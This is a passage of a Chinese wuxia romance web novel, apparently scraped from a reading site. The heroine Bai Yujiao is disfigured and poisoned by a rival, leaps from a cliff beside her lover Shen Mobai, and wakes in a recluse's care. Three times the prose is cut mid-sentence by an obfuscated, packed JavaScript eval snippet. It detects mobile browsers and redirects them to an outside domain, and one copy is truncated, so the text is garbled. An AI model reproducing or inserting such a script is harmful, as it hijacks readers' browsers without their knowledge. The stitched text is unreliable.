我说完,非常满意得看到颜静行整个面部全面崩毁。然后她的崩毁从脖颈蔓延到肩膀,蔓延到腰腹全身。 她全身都因为愤怒在颤抖。 这一刻,我完全确定,颜静行爱沈墨白已经爱到了发疯,爱到扭曲变态的程度。如果给她一个牢笼,她会毫不犹豫把他关进去蹂躏一辈子。在这一点上,也许她和凤栖梧会有不谋而合的同好。 突然,颜静行拿起手边的一个烛台,一把捏起我的下巴来,狠毒得盯着我,“哼,你也就是现在还能嘴硬,看我毁了你这张脸,让你变成个丑八怪!我就不信,沈墨白见了你,还能喜欢!” 她说着,手中的匕首的刀锋毫不留情重重划在我的侧脸上。 我没有说话,应该说没有任何反应,只是以一种讥讽的眼神,斜睨着她。 我的眼神显然是更加激怒了颜静行,她用力捏着我的下巴,“白玉蛟!沈墨白他不会再爱你了!不会了!”她说着,疯狂得一下一下用冰冷的利刃在我脸上划下深刻的伤口。 很痛,却也就不过如此了。 她一刀刀划在我的脸上,很奇怪,我心中却一直没有什么波澜。 我累了,真的太累了,累得已经不想再去计较。 颜静行可恶,但是我看着她疯魔的样子,更觉得她可悲可怜。 “白玉蛟!我不许你用这种眼神看我!你、你……我戳瞎你的眼睛!”颜静行尖叫着,手握凶器高高扬起,作势就要一锥子扎向我的眼珠。 就在这一刹那,我双手猛然发力——其实从刚才开始我一直在利用跟颜静行斗嘴的功夫默默磨绳索——用尽全力之下,捆住我的绳子还算给面子,被我给挣开了。 我一只手闪电般在颜静行胸前滑过。 然后,世界终于安静了,这丫被我点穴了。 我果断一脚把木桩子一般的颜静行给踹到一边,三两下把脚上腿上捆着的绳索解开。 脸上的血迹滴落了一地一身,身上的衣衫一片片被染成绯色。我不甚在意得从颜静行身上扯下一块衣料,蒙在脸上。 仍是那句话——出来混,迟早是要还的。 我突然发现,几十年前在蓬莱岛上娘亲说的那些话,竟是字字珠玑,竟是字字应正了我此生种种。 如今,面对着种种背叛设计陷害,我终于是被逼得走投无路,只剩下——一了百了。想到这里,我竟然是一心的释然。活到这种份上,着实是失败之极。只是,想那丛林中的猛兽山脊上的飞鹰,若是要死了,也要寻一处无人所见之处。我白玉蛟,断断不能死在这种地方,死在这个女人手里。 “颜静行,你疯了,我懒得陪你疯。”我踩着她的身体走过去,踩她的时候还居高临下得讽刺了她一句。 然后,我就满意的看到这个女人目眦欲裂的表情。 “白玉蛟!你已经被毁容了!你现在是个丑八怪!你这样活着又有什么意思!没有人会在意你会要你!……” 颜静行的恶毒诅咒被我扔在背后,我从酒窖里摇摇晃晃爬出来。 此时已经是深更半夜,我四下张望了一圈,发现这里竟然是武林盟。 整个武林盟里寂静无声,唯有点点火光闪烁,仿佛是浮在半空。 我正打算去马厩顺匹马跑路,却突然听到背后一声女人撕心裂肺的惨叫。 那声惨叫可谓是惨绝人寰振聋发聩。我被这声惨叫吓得脖子后面的寒毛都竖起来了,回头一看,只见颜静行同学状若疯狂,披头散发,手里抓着一把剑,七手八脚向我飚来。 我站在原地没动。 说实话,我真被这女人发疯的华丽姿态给震慑到了…… 那一刻,我突然觉得自己无比正常,我突然发现,其实我想错了。 我以前一直以为自己脑袋不正常,以为我自己八成是个疯子。现在一经对比起来,才发现自己原来身心健康大脑运作状况良好。疯了的,是这个世界,和这个扯淡的江湖。 我看着颜静行冲到我面前,张牙舞爪地对我厉声尖叫,“白玉蛟!白玉蛟!——” 然后,这姑娘把剑,高高举起,奋力刺下,英勇无畏斩钉截铁当机立断——反手插了自己一剑。 我看着她倒在我面前,手里的剑掉在我脚下。 我俯视着她,摇了摇头,叹气,“你何苦呢?就算你不插自己一剑,只要你告诉别人我是白玉蛟,他们肯定会来合力围捕我的。” 颜静行那几声惨叫可谓是中气十足,绕梁三日而不绝。整个峨眉派都被惊动了,几声尖锐的锣声之后,大家像着了火似的,吵吵嚷嚷抄着家伙就往声音传来的这个方向奔来。 “我就怕他们不信。”颜静行抬起头对我特别有精神得露出一抹邪笑,看来,刚刚那一剑看似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349907|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犀利,其实根本只是擦破了点皮。 “为什么不信?”我刚说完,突然感觉到自己内息一滞。 我立即感到喘不上气,我手按着脖子痛苦得急喘了几下,狠狠瞪她,“你又给我下药?!” “哼。”颜静行冷笑,“对。我就怕,现在的你太弱了,弱到他们都会不相信你是白玉蛟,故而只好刺伤自己来让他们相信。我杀了你那有什么意思呢?不会有人知道是我杀了白玉蛟,我反而成了杀了‘十四姑娘’的凶手。倒不如让你死在众人面前,死得尊严全无。最好是被你那个宠信的穆忘尘亲手杀掉,那样来得更有趣。” 我有点站不稳,向后踉跄着退了两步。我捂着胸口喘了几口气,最后看了那个叫颜静行的一眼,一字一句道,“好吧,你赢了。” 我丢下这句话,就果断奔向墙脚跑路。再晚一步,恐怕就要被蜂拥而至的武林盟小哥们妹子们包围了。 我使出吃奶的力气爬上墙头,就在我翻过墙的一瞬间,我那灵敏的狗耳朵准确在嘈杂中捕捉道背后颜影后惨兮兮得嚎叫,“白、白玉蛟!那个人是白玉蛟!她刺伤了我,向那边逃走了……” 我从墙头上摔下去,正好掉在一片灌木里,避免了我摔个半身不遂的悲剧。 我手脚并用,顶着一头树叶从树丛里爬出来。头刚一探出来,就听到左边一声大吼,“在哪里!” 追兵源源不断涌来,我连滚带爬从地上爬起来,撒丫子一头钻进右边的一条小道,然而我运气不太好,只跑了不到五米,正巧一个白衣人一拐弯挡住了我的去路,我一抬头,我们俩就打了个照面。我惊讶看着他,他脸上也全然是愕然的神情。 挡住我的,碰巧是穆忘尘。 我蒙着面,他应该看不出我是谁,但是偏偏,他看我的眼神仿佛是知道我是谁。 他伸手就可以抓住我,但是他并没有动。然后,我咬了咬牙,扭头从他身边跑了过去。 武林盟大的很,而且道路四通八达,他们要一口气围堵我也不太容易,只是颜静行这死女人实在不是什么善茬,她给我下的恐怕是要命的毒。这样说来,反正是一死,我并没有逃走的必要。想到也许死亡就要来了,奇怪的是,我丝毫没有感到恐惧。也许说来有些矫情,我只是不想死在这里,死在一群无关人员的围观中,我想找一个地方,死得干净彻底,最好能死得尸骨无存。 我凭着感觉,跌跌撞撞一路向着武林盟北面的偏门逃跑。 我自知我这人坏事做绝,所以我命不好也是应该的,可是就连死之前也没转运,我实在是太不甘心。 最后,在那偌大的武林盟里,我实在再也没力气继续迈步了,只能背靠在青石砖的墙壁上痛苦的喘息,任身体慢慢滑下去。汗水裹着血水顺着额角划过侧脸,落到衣领里,都是冷的。 四周追杀的声音渐渐嘈杂了起来,看来,他们是追来了。 我把手放在自己的心口。 若是……真的再无机会,我恐怕也只能一掌震断心脉。 死后不得安生,至少让我死的自觉果断干净。 我正要运气,忽然一道黑影骤然从高处掠下。 那人影如同雨燕一般轻盈而迅捷得掠过屋檐,穿廊而过,而后凌空一个翻身,最后在我面前单膝落地。 他一身黑衣,带着半脸面具。 他在黑夜中透过沉重的金属面具定定看着我,然后忽然向前迈了一步,用力得把我拉进了怀里,用仿佛要把我揉进他身体里那样的力气抱紧我。 是沈墨白。 就算他戴着面具,我还是会一眼认出他来。就如我此时已经是面容全毁功力散尽,他仍旧是找的到我。 也许,在不知不觉的时候,我们这一生的羁绊已经是足够深刻了。 我觉得这一刻自己特别像一棵蔫了的萝卜,被他勒得有些喘不上气,压抑着低声咳了两声,在他耳边叹气,“沈墨白,你这是想杀了我么?” “跟我走吧。”沈墨白抱着我,没有松开。 “沈墨白,我不答应,难道你就不放手了?你威胁我啊?”我苦笑了一下,结果这一笑,嗓子里就一阵犯腥——我也像沈墨白那傻子一样笑吐血了。 沈墨白感觉到我气息的混乱,他惊觉不对,一把抓起我的手腕,三指按在我的脘脉上。 我看着他,那么暗的光线下,我还是察觉他的脸色一瞬间变得惨白如纸。 沈墨白看着我,他似乎是想说什么,但话到嘴边就像是被什么刺痛了一般,狠狠得一咬牙又咽了回去。 “沈墨白,你答应我一件事。”我反手握住他的手,另一只手捏住他下巴,而后盯着他的眼睛,一字一句道,“我若是死了,你赶快随便娶个女的做正室,然后生七个八个孩子,就让那个姓颜的死女人守活寡去吧,气死她。” 沈墨白呆了一下,他喉头颤了一下,似乎是强行把悲伤的感情咽下去。他吐了口气,苦笑着轻轻戳了一下我的脑门,“除了你,我谁也不会娶的。颜静行她把你害成这样,就算她是女人,我也会替你揍她一顿,把她打得面目全非,替你出气。”然后他一只手轻轻覆上我的侧脸,“你会没事的。一定会没事的。” 我没有揭下蒙面的纱,只是在面纱下默无声息的笑。 72. 醉卧沙场君莫笑 江湖沉浮几人归 不出多久,我和沈墨白便被里三层外三层给包围了。 我那时候已经站不稳了,只能一只手扶住沈墨白的肩膀来支撑自己。 周围的火把灼灼燃烧成一条环形的火龙,通明的火光刺得我眼睛发疼,我低着头眯起眼睛,没办法看清对方的人。 我听到沈墨白冷冰冰说,“喂,让颜静行出来。” 对方似乎是秦黛黛回答,“颜姑娘受了伤,已送去医治。白玉蛟,你怎么还没死?!你究竟打什么主意!为何要混进武林盟里?!” 她此话一出,武林盟众人都面露惶恐凄然之色……虽然江湖传出镜花宫内乱,白玉蛟已死的消息已经过了小半年,但我为害武林这么多年,积威犹在。武林中人好不容易过了几天安生日子,自然畏惧我卷土重来。 我冷笑了一声,把头靠到沈墨白肩上,轻声反问了一句,“我想干什么?” 我还真不想干什么。只是有人不让我清静。 “你到底有什么阴谋!”秦黛黛又叫了一声。 我一只脚踏进棺材的人,还能有什么阴谋呢? 几秒的沉默之后,我听到一个熟悉的略显低沉的声音,“你真的是白玉蛟?” “不好意思,我还真就是。”我撑开点眼皮,浅浅对穆忘尘笑了一下。 穆忘尘的脸色在熊熊火光下面,显得是那么苍白。 “我不信……你明明……”穆忘尘欲言又止。 我知道他必然认得出我就是那个他的“十四”。 可是那又怎么样呢? 以前我总觉得“正邪不两立”就是一句虚无缥缈的屁话,我素来是想做什么就做什么,绝不会把这些规矩放在眼里。 但是穆忘尘做不到。 他的世界,现在是黑白分明的。善就是善,恶就是恶。他爱上的,是那个倔强的少女,一个虚幻的影子。 没有等他回答,沈墨白已经拦腰把我横抱起来。随着众人的一阵惊呼,沈墨白鹤一般的一步凌空而起,一个翻身跃上房顶,兔起鹘落之间,旋身已经跃出了围墙之外。 ··· 沈墨白抱着我在在金陵城中飞快的穿梭,起落在高高低低的屋檐上。 背后是嘈杂的追杀声和晃动的火光。 我觉得这情景特别熟悉,熟悉到让我想笑,似乎最近我时运不济,不停碰上这样的狗血情况。 先是阿织带着我躲何易之,然后是沈墨白扛着我躲凤栖梧,现在是沈墨白这混蛋抱着我躲天下武林。 我觉得疲惫不堪,于是放松身体,把头靠在他肩上。 “我们去哪里呢?” 我轻轻问。 也不知道沈墨白能不能听得到。 我看到背后的火光重叠错落,光影模糊,就像是一场梦境。 沈墨白带我逃出城,从驿站抢出一匹马来,跃马而上。 我听到他胸腔里心脏擂动的声音,激昂而有力。 沈墨白夹着马,不断向着山上奔逃,夜晚的深山气温低的吓人,每一口呼吸都有白色的水汽蒸腾而出消散在风里,我感觉森冷的风一丝一缕随着我的呼吸被灌进身体,迅速带走身体的温度。 太冷了,我开始觉得有点想睡了。 不过我没能睡成。 沈墨白这死家伙发现我有睡过去的趋势,突然冷不丁低下头咬了我的耳朵一口。 我被他吓得一激灵,什么困意一瞬间竟然消散了不少。我听到他贴在我耳边轻声说,“你知道月黑风高的日子适合做什么吗?” 他温热的气息扫在耳朵上,酥酥麻麻的痒。我强打起精神把脸从他怀里抬起来,征询着看向他,已经没有几分力气说话。 沈墨白俯视着我。黑夜中,隔着半脸面具,我看到他的那双眼睛是那么的亮,亮的如同星辰一般,将暗淡的夜都燃烧成白昼。 “你不觉得,很适合殉情么?” 他说完,露出一个带着几分寒意的微笑,扬起下巴看着前方。 我扭头顺着他的目光看过去,这才发现,原来我们竟然站在一处悬崖的边缘。眼前一片空阔,万千层耸的山峰刺破烟雾露出暗黑色的山尖。我们的几步之外就是深不见底的千丈深渊,能看到一层层淡青色的薄雾铺陈在脚下。 我一看沈墨白的表情,顿时想到了那一天的顾染织。 心中猛地一惊,我这下彻底清醒了,回光返照似的力气一下也恢复不少。 我万分紧张扯住沈墨白的袖子,“沈墨白,你还有大好前程在等着你,你可千万别想不开!人生不如意十有九点九,你不能经历那么一点挫折就不想活了!” 沈墨白一只手摘下脸上的面具,手腕一甩,那面具就打着旋飞进了黑暗中。 他轻笑,叹道,“我就是想开了。” “那你能不能别想得这么开……” 我话刚说了一半,就听到一声断喝“他们在那里!” 不一会儿,我和沈墨白就彻底被围死在了断崖的边缘。 空气中充满了一股烧焦的松油的味道,风很大,卷着衣摆凌空猎猎作响。我躲在沈墨白背后,让自己隔在沈墨白和悬崖之间,免得这货一个想不开一头冲下去。 忽然,人群里挤出几个人来,显然,这几个人就是围堵我们的那帮虾兵蟹将的头头。 “沈、沈盟主?!”终于,有个识货并且眼神不错的人认出了沈墨白,指着沈墨白失声尖叫。 那人话音一落,所有人的目光都探照灯一般聚焦在沈墨白的脸上,与此同时,人群齐齐发出一声倒抽冷气的声音。 好吧,武林盟主与魔教教主这种史上最狗血最恶俗的搭配终于华丽丽暴露在众人眼前。 这时候,峨眉派的代掌门——杜青娥激动得尖叫一声,“沈盟主你站错边了!”与此同时,她一个箭步冲上来。 看她那姿势那表情,若是我不知道,我一定会以为杜青娥和沈墨白之间有不可告人的私情! 我突然想起来,当年剑门关擂台上,沈墨白救出手救下惨遭我蹂躏的杜青娥。说不定杜妹子一直未嫁人就是因为心中对沈墨白暗藏情愫呢…… 沈墨白“唰”地一声,淡漠而决然抽出长剑,泛着银光的剑尖直直的指向杜青娥。 “杜掌门,麻烦您请姓颜的姑娘,将解药速速交出来。”他说的极其轻松,甚至嘴角还挂着一抹恬淡的笑意,只是这番话却不知为何让人不寒而栗。 “什么解药?”杜青娥不明所以得反问了一句,她一脸疑惑得回头去看武林盟等人,秦黛黛等武林盟众人也只能呆呆摇头。 杜青娥回头看着沈墨白,满脸都写着“苦海无涯回头是岸”八个大字,她柔声道,“先不管什么解药……沈盟主,你也不是不知道白玉蛟她作恶多端,身负的性命多的数也数不清。我们正邪不两立,为何,现在你要帮白玉蛟这个魔头呢?” 她这一说,背后的人纷纷附和,大家都一副“你快回来我们这边”的殷切模样,仿佛是我在跟他们抢沈墨白似的。 “你问我为什么?”沈墨白勾起嘴角,妖邪一笑,手一抬把我揽进怀里,“原因很简单,白玉蛟,她是我的人。” 语落,满场寂静。 死了一般的寂静。 我在沈墨白怀里,抬起头挤吧挤吧眼睛,最后一语打破寂静,“喂,沈墨白,你喝多了吧?” 沈墨白尴尬。 他抬手弹了一下我的额头,“你才喝多了,”语落,单手将长剑执起指向众人,另一只手又将我搂紧了几分,“就如诸位所见,我与白玉蛟早已许下一生之约,她的命,便是我的命。你们今天若想动她,就先从我尸体上踏过去。” 他话音刚落,忽然一个尖锐的女声由远及近响起来,“沈墨白!你别太过分!你难道忘了自己的身份了么?!” 说话的人是颜静行,她不知是从哪里冒出来的,气势汹汹猛虎下山一般一下子跳到众人最前头。 我看她大概是来得太急,头发整个都散掉了,被风吹成了向后炸起的犀利造型,配合着她狰狞的表情,整个人宛如梅超风转世。 沈墨白露出一个痞到骨子里的懒散笑容,“呦,你不说我还真的快忘了呢。我不只是这个什么武林盟主,我还是‘玉宇琼楼’的少主。” 他此话一出,满场的人霎时又陷入了死寂。死寂之后,便是爆发了一般的沸腾。 “他不是在信口雌黄吧?” “沈墨白是玉宇琼楼的少主?那天下武林岂不是都被玉宇琼楼给戏耍了?” “但,若是伤到了他,恐怕会很麻烦啊!他毕竟是盟主又是玉宇琼楼的少当家,这两边可都得罪不起……” 颜静行气得脸色发白,她指着沈墨白的鼻尖,指尖因为愤怒而微微发抖,然而她咬牙切齿了半天,却一个字也说不出来。 在一片混乱中,一个男子低沉而温厚的声音响起来, “诸位,今晚的事颇为蹊跷,也有太多疑点,在这里,我看大家也很难把话都说清楚。不如,我们暂且收起兵刃,回去再做细查……” 那声音仿佛有安定人心的作用,人群渐渐便平息下来。 穆忘尘说完,目光便与我的相交了。我此时已经心如止水,便微微弯了眼睛,平静一笑。 穆忘尘见众人都有此意,咳嗽了一声,对武林盟众人道,“今晚之事究竟真相为何还未有定论,在水落石出之前,希望在场的各位都能够保持缄默。武林盟众人听令,若是让我发现谁向外胡乱说了什么,严惩不贷。”他说完,轻声叹了口气,压低声音说,“沈盟主,我看白玉蛟她现在身受重伤,不如我们先回武林盟……” 但是沈墨白毫不领情,他手里的剑挽了个剑花,指向颜静行,冷哼了一声,“回去?当我傻么?你们这帮人的行事作风我清楚得很。若是跟你们回去,你们定然会第一时间软禁了我,然后刮了她。” 穆忘尘白似乎对沈墨白此话以及说话态度很不满。 这位平日里万年挂着让人如沐春风般笑意的穆副盟主,此时眉峰都蹙了起来,“沈墨白,你别太过分,难道你想斗得两败俱伤才罢休?再说,我看白玉蛟似乎没有要你多管闲事的意思。” 他语落,目光复杂得看向我。 沈墨白也低头看着我,那眼神里带着一丝赤裸裸的威胁。 我被他俩瞪着,赶紧撒开拽着沈墨白的手,笑道,“对啊对啊,那位大侠说的很对,沈墨白你我非亲非故,你趁早别管我了。” 沈墨白怒了,一只手像拎小鸡似的拎住我的后领,低吼一声,“你给我闭嘴。” 他吼完还不解气,冷笑着又开始攻击穆忘尘,“你知道什么?你知道她什么事?你这个胆小鬼连自己的记忆都抛弃了,现在有什么资格指手画脚?!” 穆忘尘的脸色骤然变了,变得非常彻底。 明灭的火光把他的脸照的阴晴不定,他脸上骤然的呆滞迷茫和痛苦一下子被放大了数倍。 沈墨白当盟主这数年,一直颇为痛苦的压抑自己的流氓本性。如今撕破了脸,便变本加厉,全然是人渣的作风。他继而将枪口转向颜静行,“废话少说,姓颜的,你快把解药交出来!” 颜静行咽了口唾沫,她双眼通红,胸口剧烈的起伏,似乎,她对沈墨白已经忍无可忍了。但,只见她锻炼肺活量似的深吸了一口气,生生把冲到嘴边对沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但是颜静行已经疯得连沈墨白都顾不上了,她对我又疯狂得大叫了一声“你去死吧!”然后便疯了一般得狂笑起来。 “你别理她……”沈墨白说着,转过身来。 然而,一刹那,他皱着眉头的表情,就这么僵硬在了脸上。 我用尽最后一丝内力,点了他的穴道。 沈墨白眼睛瞪大了,双眼中全然是震惊和不能掩饰的恐慌。他大概做梦也没想到,我都虚弱成这样了居然还有余力去点他的穴道。我没告诉他,我一直都留着最后一口气用来自断心脉,不过还好他选了个特别适合去向阎王报道的悬崖,这口气我便省给他了。 所有人面对这一变故都怔住了。 这一晚,这帮峨眉的姐姐妹妹们以及武林盟的大侠们就不断从一个惊愕的表情变成另外一个惊愕的表情,眼睛瞪那么大真是辛苦他们了。 “你要对沈盟主干什么!”杜青娥这姑娘果然大脑回路非常诡异,她第一反应竟是以为我要挟持沈墨白。 “诸位,先别激动。”我抬手,做出让他们稍安勿躁的手势,“如你们所见,我的确是白玉蛟。何知易夺了我的教主之位,我败在他手下,心服口服。如今我中了颜静行下的剧毒,八成快死了,俗话说人之将死其言也善。所以,死之前我留几句遗言。你们别那种目光看着我,目睹江湖百年难遇的大魔头的殒命现场,你们这些家伙也算是三生有幸了。”我说完,特别豪放得大笑了三声,一片寂静中,唯独我的笑声在空旷的山间回荡。 沈墨白站在我旁边,我看到他脸色惨白,眼睛发红,额头上的汗一滴滴掉下来,看样子是在用尽全身力气拼命在解穴。 穆忘尘的脸色也非常不好,他一只手捂着心口,拿着剑的手一直在颤抖。 我的天,你这是癫痫犯了么…… 我把目光收回来,轻叹了一声,仰天道,“总体来说,我这一生是比较失败的。我一辈子什么好事也没干,血洗武林,杀人如麻,麻木不仁,苛责下属。落得最后我信之人背叛我,忠我之人死无葬身之地,与我有仇之人倾巢剿杀我。不过,”我顿了一下,挑起一抹浅笑,“虽然我做人这么失败,我还是有一个宁愿舍弃自己的一切也无法伤害我的衷心属下,一个对我不离不弃知我懂我最后为我而死的朋友,一个继承我衣钵的后人,还有个能拌嘴掐架的冤家,”我说完,眼角瞄了沈墨白一眼,抿嘴浅浅一笑。 我慢慢向后退了两步,朗声道,“有人说,人生得一知己足矣,我得了一个两个三个,所以,也没什么可遗憾了。”最后一步,我已经站在了悬崖边上,“其实,人在总结一生的时候,才会发现原来根本没什么好总结的。我没别的好说了,我不入地狱谁入地狱?本座先走一步了。” 我语落,最后一步踏在虚空之中,身体忽然向后倾倒。 姿势还算美,我看到自己的衣摆凌空被风扬起,宛若蝶翼轻扇。 悬在半空中的时候,我默然无声得扬了扬嘴角。 我嘲笑颜静行,因为那疯女人又在狂笑了。我嘲笑这个江湖,不知诸位英雄豪杰们这一辈子你死我活都在争些什么。 所有人的身影在我眼前一晃便不见了,臆想中的慢镜头完全没出现。看来我是轻功用习惯了,有点低估地心引力。 我的身体如同折了翼的鸟儿飞落悬崖。 在千钧一发之际,我听到“白玉蛟!”一声急急的低唤,一道黑色的人影忽然一步跃出悬崖,竟然随着我下坠的身影追来。 我惊恐得瞪大了眼睛,然而自己的身体已经在一刹那摔进了深不见底的迷雾之中,一瞬间,我便再也找不见了那抹黑色的影子。 悬崖如同一个巨大的黑色漩涡,将一切吸入死亡的黑影。一切在其中都被黑暗吞没,除了黑,再也看不到其它。 73. 死去活来 我眨了眨眼睛,看到了一个竹制的房顶。 然后悲剧地发现,原来这不是做梦,原来,我真的没死……一心求死却没死成,真是不知道该说是人生之大幸,还是人生之大不幸。 我现在身受重伤,每天只能做睁眼和闭眼这两个往返运动。脑子也昏昏沉沉不是很清醒,以前的事情也记得不怎么清楚。 一切还要从我跳崖的那时候说起…… ···· 传说中,人品也是遵守守恒定律的,所谓“乐极生悲”“否极泰来”就是这么个意思——人倒霉到了一定的境界,总是会转运。 我从这么高的地方摔下来一心求死,本以为铁定会摔个粉身碎骨肝脑涂地。然而,狗血的奇迹竟然发生了! 我在空中落到一半便被一股力量接住了,这种亿万分之一的超级无敌狗屎运竟然降临在我头上,我有预感,在今后相当长的一段时间里,我都要面临一连串的霉运以此来使得自己人品重新守恒。 黑暗中,我感觉到耳边的风声逐渐减弱,一股力量拖住了我的后心,然后我撞碎了一层又一层树枝,最后落到了地上。说实在的,其实不怎么疼。 然后,我看到一个白衣男人。那男人飘飘悠悠从天上落下来,足见轻轻点在一棵云杉的树顶上,竟然就这么当风而立站住了。 这轻功,当真是出神入化神出鬼没,上天入地无人能敌。 我正看着他出神,突然听到旁边一声巨响,只见,一个人影以无法测算的速度“嘭”得一声撞在一块山岩上,然后弹了一下,继续往下落,一路“砰砰砰”撞了无数次石头,最后摔得七零八落,飘散在了树林里。 我吓得面色发青。要是没有白衣人接着我,我的命运大概跟刚才那家伙是一样一样的…… 那个白衣男人走到我身边,居高临下俯视着我。从我的角度刚好看到他形状笔挺而秀雅的鼻梁以及扇子一般浓密的睫毛,以及在夜色月光之下泛着珠光的皮肤。这人三十出头,眼睛深邃,双眼中泛着看透世事的佛光。那张脸极尽妖孽,完美得仿佛画里走出来的人物。 而且,我越是看,越是觉得这脸有点熟悉,看了半天,终于恍然大悟——这妖孽不就是神出鬼没的那位白衣大神么。 突然我脑子里精光一闪:那个掉下来摔得四分五裂的家伙不会是沈墨白吧! 我惊得整个人一跳,正想冲过去验尸,却突然感觉到自己鼻腔喉咙一热,紧接着,我就面部发麻,七窍流血。 白衣人看了一眼我的脸,那眼神如同看着一只煮熟的大猪头。他微微摇了摇头,轻叹,“晚了,脸毁了。” 喂!你别说得那么轻巧行不行!我的小命…… 我还没想完,就突然陷入一片浓重的黑暗。 好吧,我又昏死过去了。 不过,这次不知是昏了,还是死了,还是过去了。 等我再次醒来的时候,就被裹成了一只粽子,躺在床上一动都不能动,只能每天眨眨眼睛,锻炼眼皮肌肉…… ···· 两个月之后 ····· 事实证明,好人不长命,恶人混千年。 本座恶贯满盈,故而,故事的最后,死的人,并不是我。不然我就不能继续在这里跟各位唠嗑了。 从我坠崖至今,已经过了两个月。此间,我一直躺在白衣大仙的竹林仙境里头养伤。 据侍女素履说,白玉蛟殒命峨眉山的消息已经传遍整个江湖,何易之正式继任镜花宫宫主,并且已经表示愿意与中原武林修好。还有传言说,武林盟主沈墨白为了天下苍生的福祉,与白玉蛟同归于尽。 这两个月来我有一半的时间躺在床上养伤,四分之一时间给大仙苦工,另外四分之一时间吃喝拉撒。 颜静行不仅画花了我的脸,而且她那毒药也有毁容之功效。大仙说我彻底毁容了,毁得让人看上一眼就要好几天对饭菜失去兴趣。所以我脸上一直缠着纱布,只露出一鼻子俩眼睛一嘴巴。幸好现在正是冬季,不然我非得捂一脸痱子。 那次昏迷,我足足昏了六天,等我醒来的时候,记忆仍旧停留在昏迷前的那一刻,于是我第一反应就是拽着大仙的领子问:那个跟我一起掉下来的人呢? 大仙默无表情对我说了俩字——死了。 我不罢休,一把推开他非得自己回去看,结果还没下地,就被大仙抓回来按在床上,从头到脚给扎了一百多针,扎得我跟个刺猬似的直叫唤。 大仙的侍女素履,看我哭的一把鼻涕一把泪,心生不忍,于是善解人意得来开解我。 她说,白姑娘你别枉费心机了,是死是活,主人怎么会分辨不出?那人脑袋都分家了,整个人摔得像一滩隔夜泡软了的面条似的,必然活不了。你现在回去,也肯定找不见尸骨了,我猜,早就让山里的狼啊熊啊的给叼走了。 听她说完这话,我如遭雷击。 脑中种种限制级画面闪过,我觉得,我半年内都不想再看到面条了。 不过,听她说完这番话,我居然淡定了。 是啊,看到了又能怎样呢?我还能去替他报仇么?害死他的人不就是我么?他为了我连殉情这种白痴到家的事情都做了,而我却还活蹦乱跳的。沈墨白沈墨白,你当时讽刺十四真的是不厚道,不瞒你说,我现在也在考虑自己是不是应该选择失忆。虽然,选择忘记,是对你,对顾染织的背叛,但是已经走了离开了的人,是永远不会懂得,回忆能够怎样让留下的人痛苦不堪,□□,魂飞魄散。 那时候,因为沈墨白的事情,我整个人神思恍惚,以至于大仙早就把面纱摘了我都没有注意到。 等我注意到的时候,已经是数日以后。 那一天我正在药池里泡药浴,神思恍惚之间,发现大仙从池边经过。 我道,“前辈啊,我怎么瞅着您万分觉得面善呢?” 大仙停下脚步,居高临下斜睨我,“你果真是将我忘了个干净?”说完,他便转身离开,走出几步却轻轻叹息一声,“数十年不见,倒也怪不得你。” 他这话甚是让我在意。 如他这样天神下凡般的人物,没道理我见过却没有印象呀……再说,我此生见过最不似人间之客的人,也就要数我那蓬莱岛上的娘亲,柳爹爹,洛爹爹和傅…… 等等……那张脸,大仙的那张脸! “傅静思!”我骤然忘了自己正赤身裸体泡在药泉里,一下子便光溜溜跳上了岸。 傅静思便在数丈之外站住,也不回头,只是淡淡道,“你娘亲一向是对你甚是担心,若是让她知道了你此番竟堕落至此,她也无法安心的。” “娘……娘亲?”我忽然觉得喉头一哽。竟是有些说不出话来。 “她还好吗?爹爹们还好吗?” 傅静思没有回答。 “那……那你还要回去蓬莱吗?” 傅静思静立了半刻,随后,轻声一笑。 “回不去了。我已堕入魔道,再也无法回去了。” 最后,傅静思都不曾再提到他为何会堕入魔道,也不曾提起过我的爹娘。 我如今虽然是十六七岁的模样,但毕竟已经不是孩子。 活了半辈子,我懂的最深感触最多的事便是——有些话,不必挑明说,不必太明白,不必寻根究底,反而更好。 ··· 今天我正在鸡棚里喂鸡,傅静思背着个药篓子走到我旁边,告诉我,今日,我脸上的绷带已经可以拆下来了。 我喂完了鸡,又去洗了菜,最后终于被素履给捉住,拖回了房间。 现在,我坐在镜子面前,傅静思和素履颇有兴致得站在一旁围观。那一对儿主仆,却是一个揣着袖子,一个挽着手帕,神色如常。他们真该姓淡名定号面瘫。 素履拿着一把大剪刀,咔嚓咔嚓一通乱剪,我眼花缭乱,只看到满眼的白纱乱飞。 不过片刻,她便轻声说,“睁开眼。” 我生怕一张开眼,便见到自己满脸中毒后遗留下的大坑——若是我有一张烧饼似坑坑洼洼的脸,我宁愿一辈子缠着绷带当个绷带怪人! 犹豫了半天,我终于张开了眼睛,不安得看向镜子。 我盯着镜子里的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349909|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先是呆了一瞬,紧接着,我似被踩了尾巴的猫一般,从椅子里跳起来,指着自己的脸,“唰”一下回头冲着傅静思大喊,“喂!!这脸是怎么回事啊!!” 素履很奇怪得“咦”了一声,“我看着挺好啊,有哪里不对劲吗?” 